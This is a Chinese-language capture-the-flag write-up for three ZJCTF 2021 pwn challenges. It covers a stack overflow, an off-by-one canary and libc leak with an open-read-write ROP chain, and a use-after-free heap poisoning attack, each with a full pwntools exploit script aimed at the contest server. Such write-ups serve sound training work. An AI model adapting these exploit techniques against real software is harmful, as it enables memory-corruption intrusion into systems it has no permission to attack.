ZJCTF-2021-Pwn
做题有点慢,破栈溢出调了个半天
# sai_easy
本题显然是栈溢出
在最后 strcat 字符串拼接的时候会直接栈溢出,我们可以直接覆盖返回地址
覆盖到前面 cat flag 的地方即可
exp
# -*- encoding: utf-8 -*-
import sys
import os
from pwn import *
# context.update( os = 'linux', arch = 'amd64',timeout = 1)
binary = './sai_easy_pwn'
os.system('chmod +x %s'%binary)
elf = ELF(binary)
libc = elf.libc
# libc = ELF('')
context.binary = binary
DEBUG = 0
if DEBUG:
libc = elf.libc
context.log_level = 'debug'
p = process(binary)
# p = process(['qemu-arm', binary])
# p = process(['qemu-arm', binary,'-g','1234'])
# p = process(['qemu-aarch64','-L','','-g','1234',binary])
else:
# context.log_level = 'debug'
host = '89563411-fd49-4df0-a394-13757851c159.zj-ctf.dasctf.com'
port = '50100'
p = remote(host,port)
l64 = lambda : u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
l32 = lambda : u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
sla = lambda a,b : p.sendlineafter(str(a),str(b))
sa = lambda a,b : p.sendafter(str(a),str(b))
lg = lambda name,data : p.success(name + ': 0x%x' % data)
se = lambda payload : p.send(payload)
rl = lambda : p.recv()
sl = lambda payload : p.sendline(payload)
ru = lambda a : p.recvuntil(str(a))
rint= lambda x = 12 : int( p.recv(x) , 16)
def cmd(num):
sla('>',num)
# one_gad = one_gadget(libc.path)
def attack():
bss_addr = 0x6010E0
cat_flag = 0x40098E
sa('username' , 'a'*0x30)
sa('password' , 'b'*0x18 + p64(cat_flag))
''
attack()
# p.success(getShell())
p.interactive()
'''
@File : sai_easy_pwn.py
@Time : 2021/10/30 08:55:01
@Author : Niyah
'''
# easy_stack
也是栈溢出,不过只能溢出一个字节 read 函数存在 off by one
调了半天,中途电脑还炸了一次
栈分布如下,我们直接把数组中存放的地址值覆盖一个字节(改大),让其能泄露出栈上的各种地址
之后控制 myread 函数在栈上的参数,让其能写到 myread 的栈帧内,因为本题死循环,所以只能写到 myread 的栈帧内
然后直接写 myread 的返回地址,这里发现 system (/bin/sh) 执行不了,索性使用 orw
exp
# -*- encoding: utf-8 -*-
import sys
import os
from pwn import *
# context.update( os = 'linux', arch = 'amd64',timeout = 1)
binary = './zj_easy_stack'
os.system('chmod +x %s'%binary)
elf = ELF(binary)
libc = elf.libc
libc = ELF('./libc-2.31.so')
context.binary = binary
DEBUG = 0
if DEBUG:
libc = elf.libc
context.log_level = 'debug'
p = process(binary)
# p = process(['qemu-arm', binary])
# p = process(['qemu-arm', binary,'-g','1234'])
# p = process(['qemu-aarch64','-L','','-g','1234',binary])
else:
host = '89563411-fd49-4df0-a394-13757851c159.zj-ctf.dasctf.com'
port = '54501'
p = remote(host,port)
l64 = lambda : u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
l64_elf = lambda : u64(p.recvuntil('\x55')[-6:].ljust(8,'\x00'))
l32 = lambda : u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
sla = lambda a,b : p.sendlineafter(str(a),str(b))
sa = lambda a,b : p.sendafter(str(a),str(b))
lg = lambda name,data : p.success(name + ': 0x%x' % data)
se = lambda payload : p.send(payload)
rl = lambda : p.recv()
sl = lambda payload : p.sendline(payload)
ru = lambda a : p.recvuntil(str(a))
rint= lambda x = 12 : int( p.recv(x) , 16)
def getShell():
sl('exec 1>&0')
sl('echo shell')
ru('shell')
p.success('Get Shell')
sl('cat flag')
ru('flag')
flag = rl()
return ('flag' + flag)
def dbg( b = null):
if (b == null):
gdb.attach(p)
pause()
else:
gdb.attach(p,'b %s'%b)
def exhaust( pwn ):
global p
i = 0
while 1 :
try:
i+=1
pwn()
except:
lg('times ======== > ',i)
p.close()
if (DEBUG):
p = process(binary)
else :
p = remote(host,port)
def one_gadget(filename):
log.success('Leak One_Gadgets...')
one_ggs = str(subprocess.check_output(['one_gadget','--raw', '-f',filename])).split(' ')
return list(map(int,one_ggs))
def cmd(num):
sla('>',num)
# one_gad = one_gadget(libc.path)
def attack():
payload = 'a'*0x100 + '\xf0'
sla('size' , 0x100)
# dbg()
# dbg('*$rebase(0x0000000000001488)')
sa('sentence' , payload)
read_bass = l64()
stack = l64()
p.recv(0x4)
canary =u64(p.recv(7).rjust(8 , '\x00'))
leak = l64()
elf_addr = l64_elf() - 0x137B
lg('read_bass' , read_bass)
lg('stack',stack)
lg('canary' , canary)
lg('leak' , leak)
lg('elf_addr' , elf_addr)
__libc_start_main = leak - 243
libc.address =__libc_start_main - libc.sym['__libc_start_main']
pop_rdi_ret = libc.search(asm('pop rdi;ret')).next()
ret = libc.search(asm('ret')).next()
bin_sh = libc.search('/bin/sh').next()
system_addr = libc.sym['system']
lg('system_addr' , system_addr)
# print(canary)
arry_stack = stack - 0x210
lg('arry_stack' , arry_stack)
sla('size' , 0x100)
offset = 0x100 - (read_bass - arry_stack) - 0x10
lg('offset',offset)
payload = 'a'*(offset + 0x10 ) + flat( arry_stack - 0x100 , 0x100 , 0 , 1)
# dbg('*$rebase(0x0000000000001488)')
sa('sentence' , payload.ljust( 0x101, 'c'))
sla('size' , 0x100)
read_addr = libc.sym['read']
open_addr = libc.sym['open']
puts_addr = libc.sym['puts']
ret = libc.search(asm(' ret')).next()
pop_rax_ret = libc.search(asm('pop rax; ret')).next()
pop_rdi_ret = libc.search(asm('pop rdi; ret')).next()
pop_rsi_ret = libc.search(asm('pop rsi; ret')).next()
pop_rdx_ret = libc.search(asm('pop rdx; ret')).next()
pop_rdx_pop_rbx_ret = libc.search(asm('pop rdx ; pop rbx ; ret')).next()
flag_addr = arry_stack + 0xf0 - 8
chain = flat(
pop_rdi_ret , flag_addr , pop_rsi_ret , 0 , open_addr,
pop_rdi_ret , 3 , pop_rsi_ret , flag_addr , pop_rdx_pop_rbx_ret , 0x100 , 0 , read_addr,
pop_rdi_ret , flag_addr , puts_addr
).ljust(0xf0,'\x00') + 'flag\x00'
# len chain 0x80
# dbg('free')
# dbg('*$rebase(0x00000000000131D)')
# payload = 'a'*0xb8 + flat(elf_addr + 0x130a , 0 , 0x100 ) + p8( (arry_stack - 0x100 - 0x10)&0xff) + p8((((arry_stack - 8)&0xff00)>>8 ) ) + p64(pop_rdi_ret) + p64(system_addr)
payload = 'a'*0xb8 + flat(elf_addr + 0x130a , 0 , 0x200 ) + p64(arry_stack - 0x100) + p64(0xdeadbeef) + p64(0xdeadbeef) + p64(0xe8) + p64(pop_rdi_ret) + chain
sa('sentence' , payload.ljust( 0x201, 'b'))
# dbg()
''
attack()
# p.success(getShell())
p.interactive()
'''
@File : zj_easy_stack.py
@Time : 2021/10/30 08:35:26
@Author : Niyah
'''
# garlic_pwn
这道题不知道是个什么 lib 从来没见过,这边说一下离线做题时的思路
我逆向能力非常差,所以没有审给的 lib,采用类似盲做的方式
本题是个 uaf 漏洞,增删改查都有,如果是正常的 libc 大概已经被打烂了。
先理清程序逻辑,试一下程序的各种功能,我们先 add 几个堆块试试,可以通过指针数组查看 add 到那些内存,查看一下内存,可以发现其堆块是线性排列的,且类比 Glibc 可以发现堆块 free 之后也有着类似 fd 的结构
该 lib 里边有 free 函数,那么应该也存在着内存回收机制,我们通过 vmmap 查看一下堆的基地址,可以去查看一下堆地址最初始的地方,在这里发现了类似管理堆块的结构,其他的先不看,我们可以发现红框处地址非常可疑,并且上面也有着和 libc 相近的地址,所以不难猜到 0x80 和 0x90 处就是将要申请的堆块
那么有没有一种可能,我们可以通过 uaf 申请到这块地方,之后通过部分覆盖把 libc 给带出来,而控制了这块内存,不就相当于可以任意申请了吗
经过几次尝试,我发现 0x20 大小的堆块该线性表里边太多了,我们直接申请最大的 0x500,这里边的线性表只有两个地址,那么我猜测通过申请完这两个内存之后就会申请之前 free 掉的内存
实际上测试时发现再申请一个堆块,这个堆块的地址与之前两个还是不一样,而再申请的时候发现已经申请到之前申请过的堆块,如下图 1,3 处是同一块内存,那么下次申请估计就是 1 处内存 fd 指向的地址了
所以我们先做出类似攻击 Tcache 的操作,在连续释放两个堆块后修改 fd 指针,至于要改到的地址,因为 uaf ,可以很轻易的泄露出来,至于要改到什么地方,直接改到堆基地址 + 0x60 的地方,填入垃圾数据后就可以泄露出 libc 地址,之后改掉 entry,得到任意申请
可以看到已经申请到堆管理块
接下来就可以申请到 environ 泄露出栈地址 ,之后一顿操作了,本题设置了沙箱,orw 操作,因为在申请时可能有对齐等等奇怪的原因,申请到栈上可能有稍微的随机,这边爆破一下
成功的打印出了本地 flag
这题这样做肯定不是最优解,期待下其他师傅的 wp 了
exp
# -*- encoding: utf-8 -*-
import sys
import os
from pwn import *
# context.update( os = 'linux', arch = 'amd64',timeout = 1)
binary = './garlic_pwn'
os.system('chmod +x %s'%binary)
elf = ELF(binary)
libc = elf.libc
# libc = ELF('')
context.binary = binary
DEBUG = 1
if DEBUG:
libc = elf.libc
# context.log_level = 'debug'
p = process(binary)
# p = process(['qemu-arm', binary])
# p = process(['qemu-arm', binary,'-g','1234'])
# p = process(['qemu-aarch64','-L','','-g','1234',binary])
else:
host = ''
port = ''
p = remote(host,port)
l64 = lambda : u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
l32 = lambda : u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
sla = lambda a,b : p.sendlineafter(str(a),str(b))
sa = lambda a,b : p.sendafter(str(a),str(b))
lg = lambda name,data : p.success(name + ': 0x%x' % data)
se = lambda payload : p.send(payload)
rl = lambda : p.recv()
sl = lambda payload : p.sendline(payload)
ru = lambda a : p.recvuntil(str(a))
rint= lambda x = 12 : int( p.recv(x) , 16)
def getShell():
sl('exec 1>&0')
sl('echo shell')
ru('shell')
p.success('Get Shell')
sl('cat flag')
ru('flag')
flag = rl()
return ('flag' + flag)
def dbg( b = null):
if (b == null):
gdb.attach(p)
pause()
else:
gdb.attach(p,'b %s'%b)
def exhaust( pwn ):
global p
i = 0
while 1 :
try:
i+=1
pwn()
except:
lg('times ======== > ',i)
p.close()
if (DEBUG):
p = process(binary)
else :
p = remote(host,port)
def one_gadget(filename):
log.success('Leak One_Gadgets...')
one_ggs = str(subprocess.check_output(['one_gadget','--raw', '-f',filename])).split(' ')
return list(map(int,one_ggs))
def cmd(num):
sla('>',num)
def add(size , content = 'a'):
cmd(1)
sla(' size:' , size)
sa(' Content:' , content)
def delete( idx ):
cmd(2)
sla('idx:' , idx)
def show( idx ):
cmd(4)
sla('idx:' , idx)
def edit( idx , content):
cmd(3)
sla('idx:' , idx)
sa(' Content:' , content)
# one_gad = one_gadget(libc.path)
# ptr_lits = $rebase(0x4040)
def attack():
ptr_lits = 0x4040
add(0x500)
add(0x500)
show(0)
rl()
leak = u64(p.recv(6).ljust( 8, '\x00')) - 0x61 - 0x1100
lg('leak',leak)
delete(0)
delete(1)
edit(1 , p64(leak + 0x60 - 0x500 - 0x300 - 0x100))
add(0x500) #2
add(0x500) #3
add(0x500 , 'a'*0x8) #4
show(4)
libc.address = l64() + 0x3f8c0
lg('libc.address' , libc.address)
system_addr = libc.sym['system']
__free_hook = libc.sym['__free_hook']
environ = libc.sym['__environ']
binsh_addr = libc.search('/bin/sh').next()
fake = flat(
0x10 , libc.address - 0x3f8c0,
0 , 0x0000002f00030d00,
environ
)
edit(4 , fake)
add(0x500)
show(5)
stack_addr = l64() - 0x119 + 0x48 - 0x68
read_addr = libc.sym['read']
open_addr = libc.sym['open']
puts_addr = libc.sym['puts']
ret = libc.search(asm(' ret')).next()
pop_rax_ret = libc.search(asm('pop rax; ret')).next()
pop_rdi_ret = libc.search(asm('pop rdi; ret')).next()
pop_rsi_ret = libc.search(asm('pop rsi; ret')).next()
pop_rdx_ret = libc.search(asm('pop rdx; ret')).next()
pop_rdx_pop_rbx_ret = libc.search(asm('pop rdx ; pop rbx ; ret')).next()
flag_addr = stack_addr + 0x100
chain = flat(
pop_rdi_ret , flag_addr , pop_rsi_ret , 0 , open_addr,
pop_rdi_ret , 3 , pop_rsi_ret , flag_addr , pop_rdx_pop_rbx_ret , 0x100 , 0 , read_addr,
pop_rdi_ret , flag_addr , puts_addr
).ljust(0x100,'\x00') + 'flag\x00'
# len chain 0x80
fake = flat(
0x10 , libc.address - 0x3f8c0,
0 , 0x0000002f00030d00,
stack_addr
)
edit(4 , fake)
# dbg('*$rebase(0x00000000000160C)')
add(0x500 , chain )
p.interactive()
''
# attack()
exhaust(attack)
# p.success(getShell())
'''
@File : garlic_pwn.py
@Time : 2021/10/30 13:27:00
@Author : Niyah
'''
ps:不知道为啥,感觉现在做题越来越累了,最后也没能拿到一个好的名次,要是调试 pwn2 的时间少一些可能当时就做出 pwn3 了吧
本作品采用 知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议 进行许可。